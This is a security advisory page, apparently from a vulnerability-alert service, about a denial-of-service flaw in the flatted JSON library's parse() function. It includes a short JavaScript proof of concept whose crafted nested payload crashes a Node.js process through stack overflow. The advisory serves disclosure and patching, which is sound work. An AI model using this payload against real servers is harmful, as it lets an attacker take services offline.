Monitor vulnerabilities like this one. Sign up free to get alerted when software you use is affected.
7.5

flatted Can Be Hacked to Crash Server with Malicious Data

CVE-2026-32141 GHSA-25h7-pfq9-p65f GHSA-25h7-pfq9-p65f
Summary

flatted, a popular JSON serialization library, can crash a server if it's given a specially crafted piece of data. This could allow an attacker to make a server unavailable by sending a single malicious request. If you use flatted in your application, you should update to the latest version to prevent this.

What to do
  • Update flatted to version 3.4.0.
Affected software
VendorProductAffected versionsFix available
– flatted <= 3.4.0 3.4.0
Original title
flatted vulnerable to unbounded recursion DoS in parse() revive phase
Original description
## Summary

flatted's `parse()` function uses a recursive `revive()` phase to resolve circular references in deserialized JSON. When given a crafted payload with deeply nested or self-referential `$` indices, the recursion depth is unbounded, causing a stack overflow that crashes the Node.js process.

## Impact

Denial of Service (DoS). Any application that passes untrusted input to `flatted.parse()` can be crashed by an unauthenticated attacker with a single request.

flatted has ~87M weekly npm downloads and is used as the circular-JSON serialization layer in many caching and logging libraries.

## Proof of Concept

```javascript
const flatted = require('flatted');

// Build deeply nested circular reference chain
const depth = 20000;
const arr = new Array(depth + 1);
arr[0] = '{"a":"1"}';
for (let i = 1; i <= depth; i++) {
arr[i] = `{"a":"${i + 1}"}`;
}
arr[depth] = '{"a":"leaf"}';

const payload = JSON.stringify(arr);
flatted.parse(payload); // RangeError: Maximum call stack size exceeded
```

## Fix

The maintainer has already merged an iterative (non-recursive) implementation in PR #88, converting the recursive `revive()` to a stack-based loop.

## Affected Versions

All versions prior to the PR #88 fix.
nvd CVSS3.1 7.5
Vulnerability type
CWE-674
Published: 13 Mar 2026 · Updated: 14 Mar 2026 · First seen: 12 Mar 2026